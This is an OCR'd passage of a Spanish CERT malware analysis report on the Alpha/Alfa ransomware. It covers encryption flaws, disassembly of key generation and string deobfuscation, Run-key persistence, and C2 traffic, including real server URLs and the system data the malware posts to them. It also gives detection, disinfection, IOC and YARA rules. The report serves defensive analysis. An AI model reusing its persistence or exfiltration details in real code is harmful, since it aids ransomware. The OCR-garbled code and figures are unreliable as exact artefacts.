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8.1.2 SEGUNDA VERSION

El codigo danino utiliza el algoritmo AES para cifrar los archivos del sistema que
coincidan con un patrén de extensiones utilizindose siempre la misma clave.

La clave es generada desde el identificador Unico calculado al principio de la
ejecucién del cédigo danino y es por ello que, conociendo el algoritmo usado, se
puede calcular la clave y revertir el proceso de cifrado.

Para proteger la clave de cifrado AES, se comunica con un servidor C2 para
obtener una clave puUblica con la que cifrar la clave de cifrado, mediante el algoritmo
RSA. Este procedimiento no es efectivo dado que, como en la anterior versién, la clave
es generada desde el identificador Unico calculado a través de un algoritmo
conocido por lo que, se puede volver a calcular la clave y revertir el proceso de
cifrado

El cddigo danino tiene otro fallo: asume que siempre obtendrd una clave
puUblica RSA del servidor C2 cifrando la clave AES posteriormente. El problema es que
no se comprueba gue se haya obtenido dicha clave pudiendo estar la variable vacia
por lo que se podria revertir el proceso de cifrado en caso de fallo de conexidén con el
C2.

Como en la version anterior, al finalizar el cifrado de cada archivo, el cédigo
danino no crea una copia del original antes de cifrarlo con la nueva extension sino
que, en su lugar, usa el mismo archivo pero anadiéndole la extensién. Esto se realiza asi
para evitar que programas de recuperacidon a nivel de disco puedan recuperar los
archivos originales.

o= m e o m C o m mm P g mme o o ms mp w

System.I0.File.Move(file, file + encrypt");

llustracién 18. Aihadido de la extension

8.1.3 TERCERA VERSION

El céddigo danino utiliza funciones propietarias para cifrar su propio cédigo tanto
desde la ejecucidn inicial del “dropper” como en la ejecucién en el propio
Ransomware.

La funcién principal del cédigo danino es cifrar todos los archivos posibles que
posean una extensidn de la lista indicada en el punto 3.EXTENSIONES A CIFRAR del
presente informe. Para ello utiliza tanto el algoritmo AES como el algoritmo RSA. Por
cada uno de los archivos genera una clave aleatoria usando “CryptGenRandom™:
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push 6F 6888BA6BH
push 1
push a
push a
lea eax, [ebp+arg_ 4]
push eax
mou edi, edx
call ds:CryptAcquireContexty
test eax, eax
jnz short _generate_key

_return_error: s CODE XREF: Alfa_GenerateRandomKey+3Blj
push BFFFFFFCA4h
pop eax
jmp short _exit

_qgenerate_key: ; CODE XREF: Alfa_GenerateRandomKey+24Tj
push edi
mou edi, [ebp+arg_8]
push edi
push [ebp+arg_4]
call ds:CryptGenRandom
test eax, eax

llustracién 19. Generando clave aleatoria mediante funciones de Microsoft

Posteriormente, cifra el archivo usando el algoritmo AES con dicha clave. Tras
ello, crea una pequena cabecera formada por la clave AES que es cifrada con una

clave RSA puUblica embebida en el cédigo dafino.

Tras ese cifrado, se procede a anadir la extensién “.bin” al archivo original

utilizando la funcion “MoveFileW™.

88152098 || ExistingHame = "C:\extensiones.c"
80152128|LHeuHame = "C:‘extensiones.c.bin"

BBEFF858 | UNICODE *.bin™
OBEFFBS 4

88152098 | UNICODE "C:‘extensiones.c'

llustracién 20. Movimiento del archivo con la nueva extensién

Esta accidn se realiza para evitar programas de recuperacién de archivos a nivel

de disco.
8.2 OFUSCACION

8.2.1 PRIMERA Y SEGUNDA VERSION

El cédigo danino utiliza una simple ofuscaciéon de las cadenas de texto y nombre
de las funciones. Es trivial eliminar esa capa con una herramienta de des-ofuscacion

como “de4dot”s.

8.2.2 TERCERA VERSION

El codigo danino utiliza una funcién privativa para ofuscar las cadenas de texto
importantes como, por ejemplo, las entradas de registro, la nueva extensién a anadir,

etcétera.

5 https://github.com/0xd4d/de4dot
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mouzx eax, ax

1lea eax, [eax=B+481180]
%o ecx, ecx

xor edx, edx

cmp cxX, [eax+2]

jnb short @641 68435

push ebx

push edi

mov edi, [eax+i]

mouzx ebx, byte ptr [eax]
mouzx ecx, dx
Mousx di, byte ptr [edi+ecx]

®or di, bx

s0r di, dx

mou ebx, HFF

and di, bx

inc edx

mov [esi+ecx*2], di
cmp dx, [eax+2]

jb short @041048C

llustracion 21. Funcion de des-ofuscacion de cadenas de texto

Esta funcion es usada de forma recurrente por el cddigo daiino en su ejecucion.

9. PERSISTENCIA EN EL SISTEMA

El cédigo danino crea una serie de entradas en el registro para garantizar su
persistencia en el siguiente reinicio y/o mantener informacion critica para su actividad.

9.1 PRIMERA Y SEGUNDA VERSION

El cédigo danino crea la siguiente entrada en el registro para asegurar su
persistencia en siguientes reinicios:

[HKEY_CURRENT_USER\SOFTWARE\ Microsoft\ Windows \ CurrentVersion\ Run]
Microsoft = %APPDATA% \Windows \ svchost.exe

9.2 TERCERA VERSION

El cédigo danino copia su binario a la siguiente ruta de ZAPPDATA%:

C:\Documents and Settings\User\ Application Data\ Microsoft\ Essential\ msestl32.exe

Para asegurar su persistencia, crea la siguiente entrada en el registro de Windows
que apunta a la ruta anterior:

[HKEY_CURRENT_USER\ SOFTWARE \ Microsoft\ Windows \ CurrentVersion\ Run]

MSEstl = <ruta_al_archivo_copiado_del_cédigo_daiino>

En la muestra analizada tanto el nombre de las carpetas creadas desde
%APPDATA% como el nombre del valor de la enfrada en el registro son siempre iguales.
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10. CONEXIONES DE RED

10.1 PRIMERA VERSION

El codigo danino no establece ninguna comunicaciéon de red. El Unico modo de
comunicacién con los autores del cddigo danino es mediante el correo electrénico
gue ellos mismos indican en sus notas del secuestro.

10.2 SEGUNDA VERSION

Posteriormente establece una conexidén con su servidor C2 y envia informacién
acerca del sistema comprometido:

hitp://5.45.79.1/webpanel/createkeys.php

A esa direccién IP envia los siguientes datos mediante el método POST:

e Userip: la direccion IP publica del sistema comprometido obtenida
anteriormente.

¢ Username: el nombre del usuario activo en el sistema comprometido.
e Pcname: el nombre del sistema comprometido.

e Uniqueid: el idenfificador Unico del sistema comprometido generado en
el momento del arranque del cddigo danino.

Tras el envio del paquete, el servidor C2 deberia responder con una clave RSA
publica pero, en el momento de la investigacién, devuelve un error 404.

“4! Follow TCP Stream

Stream Content

POST webpanelscreatekeys.php HTTR/1.1
Accept-Encoding: dentity

Contert-Length: 86

HOsT: 5.45.73.1

Conternt-Type: application/x-www—FTorm-urlencoded
connection: <lose

User-agent: Gecko/Mozi17a/34.5.24

userip=45.64.23. 7B&uUsername=Martagpcname=Home&unigueid=54843437434d T4 5343844343384k ckHTT
P/L.1 404 Not Found

server: nginx/1.11.1

Date: Mon, 25 Jul 2016 13:28:55 GMT

content-Type: text/html

Content-Length: 169

Connection: close

<htm]>

<heads<titles404 wot Found< /Titles< /heads>
<hody bgcolor="white">|

<center><hlz404 wWot Found</hl:=</centerz
<hre<centers=nginx/1.11.1</centers>

</hody >

</htm¥>

‘Ent\re conversation (614 bytes) w ‘

[ End [ savens [ mnt  |Oasco O EBCOIC © Hex Dump O Chrrays ® Raw

[ Filker Out This Stream ] I Close l

llustracién 22. Envio de informacién del sistema comprometido y error 404
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Tras esto, procede a crear una nueva comunicacion con el servidor C2 a la
siguiente direccién:

hitp://5.45.79.1/webpanel/savekey.php

Los datos enviados que se envian mediante el método POST son:

e Uniqueid: el identificador Unico del sistema comprometido creado en el
momento del arranque del cédigo daiino.

e Aesencrypted: la clave AES cifrada con la clave publica RSA y convertida
a baseéb4.

10.3 TERCERA VERSION

El cédigo danino intenta establecer conexion con el dominio *vaunthy.ru”
enviando el identificador Unico de la mdqguina. En casi todas las peticiones que se le
realizan, se recibe una respuesta 404 y en muy pocas ocasiones una respuesta 200.

B9 67.4247150172,21.7.33 B.8.8.8 DNS 70 standard guery 0x15bb A vadnthy.ru
B4 G7.79337408.8.8.8 172.21.7.33 DS 86 standard guery response Ox15hh A 94.45.153.103

84.45,153.103 HTTF 114 GET /122EGAD24 SBEF7FILZ2EGAES HTTR/1.1

09 65.3163270 94.45,153,103 172.21.7.33 HTTP B5L HTTR/L.1 200 oK (text/html)

llustracién 23. Comunicacioén con el servidor remoto

GET /1Z22EGADZ45BEFFFLLIZZEGAES HTTR/1.1
Host: waurthy. ru

HTTP/1.1 200 Ok

Server: nginx

Cate: Thu, 21 Jul 2016 09:59:48 GMT
Content-Type: text/ html; charset=utf-8
Content-Length: 551

Connection: close
¥-Content-Type-options: nosnift
*-Frame-options: SAMEORIGIRN
w-wes-Protection: 1; mode=hlock

<html =

<heads<titlex404 Mot Found</title><s/head:>
<hody bgcolar="white">

<centerr<hlz>404 Mot Found</hlz</centers
<hr><centerznginx</center:

<fbud%>

</htm

<!—— a padding to disable MSIE and chrome friendly error page --»
<!—— a padding to disable MSIE and chrome friendly error page --»
<!—— a padding to disable MSIE and chrome friendly error page --»
<!—— a padding to disable MSIE and chrome friendly error page --»
<!—— a padding to disable MSIE and chrome friendly error page --»
<!—— a padding to disakle MSIE and cChrome friendly error page --»

llustracion 24. Respuesta del servidor remoto

El cddigo danino no realiza ninguna ofra accién tras crear la conexidon con éxito.
En el caso de que dé algun error de conexion, el cédigo danino lo intentard hasta 10
veces con un intervalo de 30 segundos entre intento e infento.
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ARCHIVOS RELACIONADOS

Los archivos relacionados con el cédigo danino son los siguientes:

11.1 PRIMERA Y SEGUNDA VERSION

coN-cert
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%APPDATA%\Windows\

Nombre Fecha Creaciéon | Tamario bytes Hash SHA1
svchost.exe <varia> <varia> <varia>
%DESKTOP%

Nombre Fecha Creaciéon | Tamario bytes Hash SHA1
Read Me (How <varia> <varia> <varia>
Decrypt) !l txt

<varia>

Nombre Fecha Creacion | Tamaiio bytes Hash SHA1
Read Me (How , , ,
Decrypt) 1111.txt <varia> <varia> <varia>

%USERPROFILE%
Nombre Fecha Creacion | Tamaiio bytes Hash SHA1

newstyle.jpg
(segunda version)

<varia>

23.543

40ae87f0482c4eal27c5fd4fce3ce091e134b904

11.2 TERCERA VERSION

%APPDATA%\Microsoft\Essential\

Nombre Fecha Creacion | Tamaiio bytes Hash SHA1
msestl32.exe <varia> 192.512 b2d5747f4976b06c36eacfobfab69a2a2b4bb9d9
%DESKTOP%
Nombre Fecha Creacion | Tamafio bytes Hash SHA1
README HOW
TO DECRYPT <varia> <varia> <varia>
YOUR FILES.TXT
<varia>
Nombre Fecha Creacion | Tamaiio bytes Hash SHA1
README HOW TO
DECRYPT YOUR <varia> <varia> <varia>
FILES.HTML
12. DETECCION

Para detectar si un equipo estd infectado o lo ha estado, para cualquiera de sus
usuarios se ejecutard alguna de las herramienta de Mandiant como el "Mandiant IOC
Finder" o el colector generado por RedLine© con los indicadores de compromiso
generados para su deteccion o mediante las Herramientas del Sistema.
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12.1 PRIMERA VERSION

12.1.1 HERRAMIENTAS DEL SISTEMA

Para poder detectar el cédigo danino en el sistema, usando herramientas del
propio sistema operativo, se usard el Editor del Registro (Inicio -> Ejecutar ->
regedit.exe).

Una vez ejecutado el Editor del Registro se buscard la siguiente entrada:

[HKEY_CURRENT_USER\SOFTWARE \ Microsoft\ Windows\ CurrentVersion\ Run]
Microsoft = <%APPDATA% \ Windows \ svchost.exe>

La presencia de archivos con el siguiente nombre en el Escritorio de Windows o
en mUltiples carpetas es un posible compromiso del sistema:

Por Ultimo, la presencia de archivos con una extensidén “.encrypt” y que no
puedan ser abiertos con las aplicaciones habituales es un claro compromiso del
sistema por parte de un Ransomware.

12.2 SEGUNDA VERSION

12.2.1 HERRAMIENTAS DEL SISTEMA

Para poder detectar el cédigo danino en el sistema usando herramientas del
propio sistema operativo se usard el Editor del Registro (Inicio -> Ejecutar ->
regedit.exe).

Una vez ejecutado el Editor del Registro se buscard la siguiente entrada:

[HKEY_CURRENT_USER\SOFTWARE \ Microsoft\ Windows\ CurrentVersion\ Run
Microsoft = <%APPDATA% \ Windows \ svchost.exe>

La presencia de archivos con el siguiente nombre en el Escritorio de Windows o
en mUltiples carpetas es un posible compromiso del sistema:

Por Ultimo, la presencia de archivos con una extension “.encrypt” y que no
puedan ser abiertos con las aplicaciones habituales es un claro compromiso del
sistema por parte de un Ransomware, al igual que el cambio de fondo de escritorio a
una imagen indicando que el sistema estd cifrado.
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12.3 TERCERA VERSION

12.3.1 HERRAMIENTAS DEL SISTEMA

Para poder detectar el cédigo danino en el sistema usando herramientas del
propio sistema operativo se usard el Editor del Registro (Inicio -> Ejecutar ->
regedit.exe).

Una vez ejecutado el Editor del Registro se buscardn las siguientes entradas:

[HKEY_CURRENT_USER\SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Run]

MSEstl = <ruta_al_archivo_copiado_del_cédigo_daiino>

[HKEY_CURRENT_USER\ Software \ Microsoft\ Windows \ CurrentVersion\ Prwvkwybm]

Qbjgvho = <datos_binarios_unicos_en_el_sistema>

En el caso de que se encuentre alguna de las dos entradas indicadas es un claro
compromiso del sistema por parte del cédigo danino.

La presencia de archivos con alguno de los siguientes nomibres en el Escritorio de
Windows o en multiples carpetas es un posible compromiso del sistema:

README HOW TO DECRYPT YOUR FILES.TXT
README HOW TO DECRYPT YOUR FILES.HTML

Por Ultimo, la presencia de archivos con una extension “.bin" y que no puedan
ser abiertos con las aplicaciones habituales es un claro compromiso del sistema por
parte de un Ransomware. Del mismo modo la desaparicion de los Shadow Volumes,
en el caso de que se tuvieran activos anteriormente, es un claro compromiso de
amenaza de tipo Ransomware en general.

En sistemas operativos superiores a Windows XP se deberdn de comprobar las
opciones de arranque comprobando que no se deshabilité el acceso al menu de
recuperacion en subsiguientes arranques y que no se estén ignorando todos los
posibles errores que puedan darse al arrancar el equipo. Las opciones de arranque se
comprueban con el comando “bcdedit.exe”:

bcdedit.exe

En el caso de que en algunas de las partficiones resultantes a ese comando se
muestre que el Recovery esté deshabilitado, es un posible indicador de compromiso
del sistema.

12.4 MANDIANT

Se ha generado un nuevo archivo indicador de compromiso. El nombre del
indicador generado es con GUID "c7245f0c-406a-495c-béea-9fc673b1c?6a".
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Se utilizard el indicador con alguna de las herramientas de las que dispone
Mandiant como "Mandiant_ioc_finder" o para la confeccidn de un recolector de
evidencias mediante "Mandiant RedLine".

Se recomienda consultar la guia de seguridad CCN-STIC-423 Indicadores de
Compromiso (IOC), donde se recoge qué es un indicador de compromiso, cémo
crearlo y cdmo identificar equipos comprometidos.

13. DESINFECCION

Para desinfectar el sistema del cédigo dafino se requiere usar el Editor del
Registro de Windows.

13.1 PRIMERA Y SEGUNDA VERSION

Una vez ejecutada dicha aplicacion se borra la siguiente enfrada:

[HKEY_CURRENT_USER\SOFTWARE \ Microsoft\ Windows\ CurrentVersion\ Run]
Microsoft = <%APPDATA% \ Windows \ svchost.exe>

En el caso de que exista, y solo en el caso de la primera version del cédigo
danino, también se deberd de borrar la siguiente entrada:

[HKEY_CURRENT_USER\ Alphd]

Cryptokey = <valor_vacio_en_el_arranque>

Una vez borradas las entradas se procederd a buscar todos los archivos con los
siguientes nombres y borrarlos:

El cédigo danino también cambia el fondo del escritorio en el caso de la
segunda versidén. Se recomienda cambiar el fondo de escritorio a un fondo elegido por
el propio usuario.

En el caso de que no se pueda ejecutar el Gestor de Tareas de Windows, se
procederd a modificar la siguiente entrada del registro:

[HKEY_CURRENT_USER\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Policies\ System]

DisableTaskMgr = <un valor comprendido entre 1y 0>

El valor que se tiene que introducir es el nUmero “0" y tras ello se podrd ejecutar
el Gestor de Tareas de Windows. En el caso de que la aplicacion finalice sola, se
deberd crear una copia del archivo “taskmgr.exe” y darle otro nombre. De esa forma
el temporizador no podrd cerrarlo.
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Con respecto a los archivos cifrados y debido a la debilidad en el diseno del
codigo danino existe una herramienta que permite descifrarlosé.

AlphaDecrypter E]|§|E]

[ Select Directony ]

Fleaze Select a Directory

I Decrypt My Files l

[] Delete Encrypted Files? Coded by Demanslay3235
Analysis by MalwareHunter Team
I [] Delete Farsom Notes? | Katia Hahn and SIRi

llustracion 25. Descifrador gratuito para el cédigo daiiino primera versién

El uso del descifrador es muy simple: se fiene que seleccionar el directorio del
que se quiera descifrar archivos, marcar la casilla de “Delete Ransom Notes” para que
borre los archivos de texto creados por el cédigo daiino y pulsar el botdn “Decrypt my
Files". En el caso de que los archivos correspondan a la primera version del cédigo
danino y no estén corruptos el programa los descifrard. En caso contrario dard una
excepcion. La herramienta puede ser descargada desde el siguiente enlace:

https://download.bleepingcomputer.com/demonslay335/AlphaDecrypter-fp.zip

Para mayor seguridad, el hash MDS5 del archivo ejecutable es el
“15da2cb83fal739f4efcé34facal3b845” vy el zip necesita una clave para
descomprimirse, dicha clave es:

false-positive

13.2 TERCERA VERSION

Una vez ejecutada dicha aplicacion borraremos las siguientes entradas:

[HKEY_CURRENT_USER\SOFTWARE \ Microsoft\ Windows \ CurrentVersion\ Run]

MSEstl = <ruta_al_archivo_copiado_del_cédigo_daiino>

[HKEY_CURRENT_USER\ Software \ Microsoft\ Windows \ CurrentVersion\ Prwvkwybm]

Qbjgvho = <datos_binarios_unicos_en_el_sistema>

Una vez borradas las entradas se procederd a buscar todos los archivos con los
siguientes nombres y borrarlos:

6 http://www .bleepingcomputer.com/news/security/decrypted-alpha-ransomware-accepts-

itunes-gift-cards-as-payment/
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README HOW TO DECRYPT YOUR FILES.TXT
README HOW TO DECRYPT YOUR FILES.HTML

En sistemas operativos superiores a Windows XP se deberdn comprobar las
opciones de arrangue, verificar que no se deshabilitd el acceso al menU de
recuperacion en subsiguientes arranques y que no se estén ignorando todos los
posibles errores que puedan darse al arrancar el equipo.

Las opciones de arranque se comprueban con el comando “bcdedit.exe”:

bcdedit.exe

En el caso de que esas opciones estén desactivadas se deberdn restablecer a
sus valores por defecto:

bcdedit.exe /set {default} recoveryenabled Yes

bcdedit /set {default} bootstatuspolicy displayalifailures

En caso de no estar activas las Shadow Copies, no existe forma conocida en el
momento actual para recuperar los archivos cifrados por el cédigo danino debiéndose
recurrir_a usar_copias de seguridad previas de dichos archivos para obtener la
informacion.

14. VACUNAS

En la tercera version del cddigo danino existe una forma para prevenir que el
cdodigo daiino ejecute su carga maliciosa del cifrado de los archivos.

14.1 GETKEYBOARDLAYOUTLIST

El cédigo danino obtiene todo el listado de los teclados instalados en el sistema
comprometido. Si alguno de ellos es del lenguadje ruso o ucraniano finaliza su ejecucion
sin cifrar ningUn archivo aungue su entrada de persistencia si que quedard instalada
en el sistema comprometido. Se recomienda seguir los pasos del punto de
13.DESINFECCION del presente documento.

Para poder protegerse usando esta vacuna solo se necesita anadir el teclado
ruso o ucraniano en el sistema. No es obligatorio que sea el idioma por defecto del
sistema ni el teclado por defecto.
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Servicios de texto e idiomas del dispositivo de entrada

Configuracion | Opciones avanzadas|

|dioma predeterminado del dispositivo de entrada

Seleccione uno de los idiomas de entrada instalados para uzarla cuando
inicie s equipo.

Ezpafiol - Ezpafia [alfabetizacian tradicional) - E zpafiol w

Servicios instalados

Seleccione los servicios que desea para cada idioma mostrado en la
lista. Use loz botones Aagregar v Quitar para modificar esta lista.

‘g Servicios de texto avanzado -~
= Irk Comection
Teclado
= Estados Unidos
Fuzo Agregar...
% Teclada 3 Duiter
= Ruszo K l
< | = B Propiedades. .

Preferancias

[ Bara de idioma... ] [ Configuracidn de teclas. .

[ Aceptar ] [Cancelal] [ Aplicar ]

llustracién 26. Ahadido del teclado ruso sin estar como principal en el sistema

15. INFORMACION DEL ATACANTE

15.1 5.45.79.1

La informacion WHOIS de la direccidon IP “5.45.79.1" es la siguiente:

IP Information for 5.45.79.1

= Quick Stats

IP Location
ASN

Resolve Host
Whois Server

IP Address

United Kingdom Londeon 3nt Solutions Lip

BE A550673 SERVERIUS-AS | NL (registered Mar 05, 2010)
regle-crash.toptruth.net

whois.ripe.net

545791

llustracién 27. Informacién WHOIS de la direccién IP 5.45.79.1
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15.1.1 GEOLOCALIZACION

|consu|tar |15.45.79.1 | ® Google Maps™ ' Windows Live Maps™ '/ Yahoo Maps™ || Dos ¥ Mapag |
Wilhelmshavena = ©I
F 2 - ([
| Mapa Satélite g v AW A N\ 1‘
- . @ S @
Leeuwarden ‘Groninga, Leer
e Tt Aomb
/ I 2 7 0Idemburgo$
Norwich o
© {
Iy / /
e Osnabruck
dge JEIN f
Ipswich .»3 Blelefeld
2 Mi.in'ster )
Colclgester": | _{o . ﬁ
LS K0 e b
NE /‘\‘ “ ¢ . “
\ /Dortmund’ gy +
: oz 2 > % =3 N i3
G ~; Canlerbury Bru'a% Dusseldorf s . .0,
O« g e ° = J Datogde mapas 2016 GeoBas»s-DElBKG (22009). Google | Términos de uso In‘ormardeun error de Maps
Direccion de IP Ciudad Bandera de pais Codigo DMA
5.45.79.10 © n/a n/a
Provedor Region (Code) Grado de latitud Codigo de distrito
Serverius-as 4 n/a() 52.3824 n/a
Hostname Pais Grado de longitud Codigo postal
regle-crash.toptruth.net @ © Pais Bajos W 4.8995 n/a
Huso Horario Continente TLD Diferencia de |2 Hora
Europe/Amsterdam W Europe W NL W 2

llustracién 28. Geolocalizacién de la direccion IP 5.45.79.1

15.2 VAUNTHY.RU

La informacién WHOIS del dominio “vaunthy.ru” es la siguiente:
VVhNoIS Kecord for VauntHy.ru

= Whois & Quick Stats

Risk Score
Registrant Org
Dates

Domain Status
Whois History

Whois Server

= Website

Website Title

100

Private Person was found in ~46,105,175 other domains
Created on 2016-07-04 - Expires on 2017-07-04
Registered And No Website

4 records have been archived since 2016-07-04

whois.tcinet.ru

None given.

llustracion 29. Informacion WHOIS del dominio vaunthy.ru
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<aniro iptologico nagoncl

15.2.1 GEOLOCALIZACION

consultar | 95.164.16.29 I *' Google Maps™ Windows Live Maps™ Yahoo Maps™ Dos mapas ¥ Mapa general
=) e
| Xapkie fambwin
Mapa Satélite 33 Poltava 2
Cherkasy Montaea
nytsia Yepracu o
HIALA = Kremenchuk
o U 5 KpemMeHuyk Vol 4
crania 7 : ' o D 9oggera
Dnipropetrovsk :'Icshb;(:’ Bonrorpaa
Kirovagrado [Luinpo Donetsk, Ucraina
Kiposorpag N i { e ome
Krivai Rog Zaporiyia ok Aok
(]

Kpnecv;ﬁ Pir 3anog|mxm

Rostov Volgodonsk
; del Don Bonrn:gqoncx
Maridipol Pocmsgla—ﬂ,ony

Mapi gn on
Jerson
Odesa KencoH o o
Opeca o Berdiansk Elista =
Q BepasHckek 3nuecta i
(=3
st
v e
Pl s Krasnodar Stavropal
Anan rrasnonah
GO gle Cahact i :‘::EZ Kpac'; Datos de mapas ©2016 GeoBasis-DE/BKG (©2009), Google  Términos de uso
Direccian de IP Ciudad Bandera de pais Cadigo DMA
95.164.16.29 & @ Donetsk W/ [ nla
Provedor Region (Code) Grado de latitud Cadigo de distrito
Ojsc Promtelecom S Donets'ka Oblast’ (05) W 47.9917 nla
Domainname Pais Grado de longitud Cadigo postal
VauntHy.ru @ @ Ucraina W 37.7759 nla
Huso Horario Continente TLD Diferencia de la Hora
EuropelKiev W Europe W UA W 3

llustracion 30. Geolocalizacién de la direccion IP 95.164.16.29 o el dominio vaunthy.ru

16. REGLAS DE DETECCION

16.1 INDICADOR DE COMPROMISO -10C

<?xm1 version="1.0" encoding="us-ascii"?>

<ioc xmIns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema" id="c7245f0c-406a-495c-b6ea-9fc673blc96a"
Tast-modified="2016-07-22T12:56:22" xmlns="http://schemas.mandiant.com/2010/ioc">

<short_description>Ransom.Alpha y Alfa</short_description>

<description>Indicador de compromiso para detectar las amenazas Ransom.Alpha y
w32/Filecoder.Alfa</description>

<authored_by>CCN-CERT</authored_by>
<authored_date>2016-07-22T12:48:26</authored_date>
<Tlinks />
<definition>
<Indicator operator="OR" id="a07e38dd-18f1-4747-a487-09ffd6e7e33c">
<IndicatorItem id="17741922-ed83-4738-b8ce-f8286fcbfdb0" condition="1is">
<Context document="RegistryItem" search="RegistryItem/Path" type="mir" />

<Content
type="string">HKEY_CURRENT_USER\SOFTWARE\Microsoft\windows\Currentversion\Run</Content>

</IndicatorItem>

<Indicator operator="AND" 1d="036440d0-f5d1-4daf-9a64-98e278674697" />

<Indicator operator="OR" id="b9c8cdal-53be-40e5-bb59-a8979f699c6b">
<IndicatorItem jd="8cc7621d-aa35-4c78-8c6f-08b2dfd7eab5" condition="is">
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<aniro iptologico nagoncl

<Context document="RegistryItem” search="RegistryItem/Path” type="mir" />
<Content type="string">HKEY_CURRENT_USER\Alpha</Content>
</IndicatorItem>
<Indicator operator="AND" id="9342349a-2eec-44d6-abdb-46148b355fea">
<IndicatorItem id="128ba7f0-4145-4377-9737-bce047662e3e" condition="1is">
<Context document="RegistryItem" search="RegistryItem/value" type="mir" />
<Content type="string">Cryptokey</Content>
</IndicatorItem>
</Indicator>
</Indicator>
<Indicator operator="OR" id="dc159b85-8aed-40f4-91e5-c90c4f44faf5">
<IndicatorItem id="bfa2bb4b-d9a5-41cd-9ea4-ecd86d63dalc” condition="1is">
<Context document="RegistryItem" search="RegistryItem/Path" type="mir" />

<Content
type="string">HKEY_CURRENT_USER\SOFTWARE\M1icrosoft\windows\Currentversion\Run</Content>

</IndicatorItem>
<Indicator operator="AND" 1d="9164287b-f6b5-4fda-a5bc-c76c8d60809d">
<IndicatorItem id="4dd30026-4c9b-45e5-8dd6-c311dd6e8e38" condition="1is">
<Context document="RegistryItem" search="RegistryItem/value" type="mir" />
<Content type="string">MSEstl</Content>
</IndicatorItem>
<Indicator operator="AND" id="4afab7e8-c2c4-4599-8baa-74cb58121f5d">

<IndicatorItem id="d12f53b4-d2be-4dbe-8dce-6a2aa511lbead"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/Text" type="mir" />
<Content type="string">Essential\msest132.exe</Content>
</IndicatorItem>
</Indicator>
</Indicator>
</Indicator>
<Indicator operator="OR" id="3fb93a36-5d73-46b1-ac18-4db8bf792bb4">
<IndicatorItem id="8938af20-dfe3-455d-9eae-59b07894f997" condition="1is">
<Context document="RegistryItem" search="RegistryItem/Path" type="mir" />

<content
type="string">HKEY_CURRENT_USER\Software\Microsoft\windows\Currentversion\Prwvkwybm</Co
ntent>

</IndicatorItem>
<Indicator operator="AND" id="09f76254-ca40-4460-96f8-c07f76effaab6">
<IndicatorItem id="58f7e60e-ab4f-4934-b54e-5ba6e5faed4c2" condition="1is">
<Context document="RegistryItem" search="RegistryItem/value" type="mir" />
<Content type="string">Qbjgvho</Content>
</IndicatorItem>
</Indicator>
</Indicator>
</Indicator>
</definition>

</ioc>
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16.2 YARA

<aniro iptologico nagoncl

rule Ransom_ATpha
{
meta:
description = "Regla para detectar Ransom.Alpha"
author = "CCN-CERT"
version = "1.0"

strings:

$a = { 52 00 65 00 61 00 64 00 20 00 4D 00 65 00 20 00 28 00 48 00 6F 00 77 00

20 00 44 00 65 00 63 }
condition:

$a

rule Ransom_Alfa

{
meta:
description = "Regla para detectar w32/Filecoder.Alfa"
author = "CCN-CERT"
version = "1.0"
strings:
$a = { 8 0C 97 81 E1 FF FF 00 00 81 F9 19 04 00 00 74 OF 81 F9 }
$b = { 22 04 00 00 74 07 42 3B DO 7C E2 EB 02 }
condition:
all of them
}
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